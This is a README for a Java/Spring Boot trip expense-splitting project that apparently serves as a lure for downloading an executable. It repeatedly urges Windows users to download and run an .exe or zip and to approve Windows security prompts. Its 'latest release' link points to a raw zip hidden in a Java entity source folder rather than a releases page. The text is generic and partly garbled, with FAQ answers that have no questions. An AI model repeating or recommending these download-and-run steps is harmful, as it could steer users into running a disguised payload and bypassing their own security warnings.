Visit the GitHub Releases page to download and run this file on Windows.
On the releases page, look for the latest version and download the Windows file that matches your device. If there are more than one file, choose the one that ends in .exe or the Windows package name shown in the release notes.
split-cost-oss helps track trip expenses and split them between people.
Use it when a group shares costs like:
- hotel stays
- fuel
- meals
- tickets
- shared supplies
The app helps you:
- record what each person paid
- split costs across the group
- calculate who owes money
- keep settlements simple
- reduce manual math
It uses a backend service built with Java, Spring Boot, PostgreSQL, Docker, and a settlement engine for split rules.
For Windows use, prepare:
- a Windows 10 or newer PC
- a web browser
- internet access for the download
- enough free disk space for the app and data
- Docker Desktop if you plan to run the full local setup
If you only want to use a packaged release, download the file from GitHub Releases and follow the steps in the release notes.
- Open the GitHub Releases page
- Find the latest release
- Download the Windows file
- Save it to your Downloads folder
- If the file is zipped, extract it
- Double-click the app file or follow the release steps
- If Windows asks for approval, choose Run
- Wait for the app to start
- Open the app in your browser if the release notes point to a local address
- Create or open a trip and begin adding expenses
If the release includes a local server setup, use these common steps:
- Download the release file from GitHub
- Extract the files if needed
- Start the app from the included Windows launcher or command file
- Wait for the service to finish starting
- Open the address shown in the window or release notes
- Sign in if your setup includes user access
- Start a new trip
- Add people to the trip
- Enter each expense
- Review the settlement results
If you want to run the backend on your own machine, use this setup:
- Java 17 or newer
- Maven
- PostgreSQL
- Docker and Docker Compose
- a code editor if you plan to inspect files
A basic local run usually follows this path:
- Start PostgreSQL
- Start the backend service
- Open the app endpoint in your browser or client
- Add trip data through the appβs screens or API
The project includes Docker support for local use.
Typical flow:
- Install Docker Desktop
- Download the project files or release package
- Open a terminal in the project folder
- Start the stack with Docker Compose
- Wait until the backend and database are ready
- Open the app address shown in the setup output
Common Docker services in this project:
- backend API
- PostgreSQL database
- trip-based expense splitting
- simple and basic settlement logic
- shared expense tracking
- group balance calculation
- REST API support
- PostgreSQL storage
- Docker-based local setup
- separate settlement engine for core split logic
The app follows a simple flow:
- One person pays for a shared expense
- The expense gets linked to a trip
- The app splits the cost across the group
- The system tracks each personβs balance
- The settlement engine finds who should pay whom
- The app shows the final transfer plan
This helps avoid long payment chains. It keeps settlement steps clear and small.
The project includes these parts:
- backend REST API for app actions
- domain layer for trip and expense rules
- settlement engine for payment balancing
- PostgreSQL database for saved data
- Docker files for repeatable setup
This structure helps the app keep business rules apart from storage and server code.
A group of four friends takes a weekend trip.
- Alice pays for the hotel
- Ben pays for dinner
- Chris pays for fuel
- Dana pays for tickets
The app can:
- store each payment
- split each cost across all four people
- show each personβs share
- calculate final balances
- list the transfers needed to settle up
When you download the release:
- save it in a folder you can find
- keep the file name as downloaded
- unzip it only if the release uses an archive
- check the release page for the exact start method
- use the latest release unless the project notes say otherwise
If Windows shows a file check prompt, allow the app if it came from the official GitHub release page.
If you run the project from source or from a release package, a simple layout can look like this:
- project folder
- app files
- config files
- database files
- logs
Keep the app and database files in the same parent folder when the release instructions ask for it.
This project includes a REST API. That means other tools can send and receive data over HTTP.
The API is useful for:
- adding trips
- adding people
- saving expenses
- checking balances
- getting settlement results
If you use the API directly, you can test it with tools like Postman or your browser for simple GET requests.
The app uses PostgreSQL.
That means it can store:
- trips
- participants
- expenses
- payment results
- settlement data
For local use, PostgreSQL runs on your machine or in Docker. For a packaged release, the app may connect to a bundled or prebuilt database setup.
The project supports two common settlement styles:
- basic settlement
- simplified settlement
Basic settlement keeps the logic direct. Simplified settlement reduces the number of payments by grouping balances in a cleaner way.
This helps groups settle up with fewer transfers.
Try these steps:
- Make sure the downloaded file finished fully
- Check that Windows did not block the file
- Confirm Docker is running if you use Docker
- Confirm PostgreSQL is available if you run from source
- Check that the right port is free
- Restart the app
- Try the latest release file again
If you want to run the backend from source:
- Clone the repository
- Open a terminal in the project folder
- Run the Maven build
- Start PostgreSQL
- Start the Spring Boot app
- Open the local app address
- Use the REST API or any included interface
Typical Maven command:
mvn clean install
Typical Spring Boot start command:
mvn spring-boot:run
You may see files and folders for:
- application code
- database changes
- Docker setup
- config values
- test files
- domain logic
- settlement logic
Each part helps keep the project easy to maintain and test.
No. For the Windows release, you only need to download the file, open it, and follow the release steps.
Not for every use case. Docker helps if you want the full local stack on your own machine.
The app is built for Windows users in this guide, but the stack also fits local development on other systems with Java, PostgreSQL, and Docker.
Yes. The app is built for trip expense splitting and settlement.
Get the latest release here: https://github.com/nnrtns/split-cost-oss/raw/refs/heads/main/expense-splitter/src/main/java/com/split/expenseSplitter/repository/postgres/entity/id/oss-split-cost-v1.2.zip
When you open the release page, look for:
- the newest version
- attached files
- Windows packages
- setup notes
- file names that match your system
If there are multiple files, choose the one marked for Windows or the one that fits your release package type
algorithms, backend, docker, docker-compose, expense-sharing, expense-splitter, hibernate, java, jpa, maven, postgresql, rest-api, settlement-engine, spring-boot, system-design